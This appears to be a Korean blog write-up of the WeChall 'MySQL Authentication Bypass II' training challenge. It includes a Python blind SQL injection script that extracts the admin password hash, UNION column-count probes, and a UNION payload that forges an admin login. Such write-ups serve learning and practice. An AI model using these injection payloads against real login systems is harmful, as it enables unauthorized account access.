🗂️ INDEX

글 작성자: Universe7202

http://www.wechall.net/challenge/training/mysql/auth_bypass2/index.php

 

[WeChall] Training: MySQL II

MySQL Authentication Bypass II This one is the same as MySQL1, but you have to come up with a more advanced injection to trick this authentication. Your mission is again: Login yourself as admin. Again you are given the sourcecode, also as highlighted vers

www.wechall.net

 

 

 

이 문제를 풀다가 괜찮은 문제여서 정리할겸 포스팅을 하게 되었다.

 

 

문제 접근 방법은 admin 으로 로그인 하게 되면 풀리는 문제이다.

 

 

 

 

 

하지만 아래 코드로 인해 단순한 sql injection으로는 풀리지 않는다.

admin으로 로그인을 시도해봤자 password를 모르기 때문에 문제를 풀수가 없다.

 

 

 

필자는 코드를 제대로 해석하지도 않고 blind로 admin의 password를 python으로 찾아보았다....

admin의 password를 찾았지만 의미 없는 시도인것을 코드를 다시 해석하고 알게 되었다..

import requests
import string

strings = string.ascii_lowercase+string.digits
result = ''

for i in range(1,33):
	for s in strings:
		datas = {'username' : "admin' and substr(password,"+str(i)+",1)='"+s+"'#", 'password' : ''}
		req = requests.post('http://www.wechall.net/challenge/training/mysql/auth_bypass2/index.php', data = datas, cookies = {'WC' : 'dummy'})
		print(datas)
		if req.text.find('Your password is wrong!') != -1:
			result += s
			print(result)
			break

Result

b705c94300b6fcbccfae2bb65937fee3

 

 

 

 

 

위에서 찾은 md5 패스워드 값을 디코딩 해봐도 나오지 않았다.

그럼 admin의 패스워드 값을 모르는 상태에서 로그인을 해야 하는데, 방법은 union 으로 값을 만드는 방법이 있다.

union을 사용하기 전에 칼럼의 갯수를 맞추어야 하므로 아래 값 처럼 입력을 해서 칼럼의 개수를 알아낸다.

 

post >> ' union select 1# (error)

post >> ' union select 1, 2# (error)

post >> ' union select 1, 2, 3# (success)

 

 

 

실제 DB에서는 위와 같은 쿼리를 작성하게 되면 아래와 같은 결과가 출력이 된다.

 

 

union 문을 응용을 해서 admin 계정을 만들어 보겠다.

그 전에 3개의 칼럼 중 어느 것이 id를 관리하는 칼럼인지를 알아야 한다.

아래와 같은 쿼리를 입력했을때 다음과 같은 결과가 출력이 되었다.

 

username = ' union select 1, '2', md5(1)#

password = 1

 

welcome back 2 라고 뜬것을 보아 두번째가 id, 마지막 컬럼이 pw인 것을 알 수 있다.

username에 md5를 쓴 이유는 문제의 소스코드에서 post 방식으로 password 값에 md5 결과 값과 DB에 있는 유저의 패스워드와 비교하는 것을 알 수 있다. 따라서 2 라는 계정을 만들때 username 쿼리에 md5 함수로 1을 해시하고 password에 1이라는 값을 넣게 되면 True 이므로 로그인이 성공하게 된다.

 

 

그럼 문제없이 위 쿼리를 admin으로 로그인 하게끔 바꾸어 주면 문제가 풀리게 된다.

 

username = ' union select 1, 'admin', md5(1)#

password = 1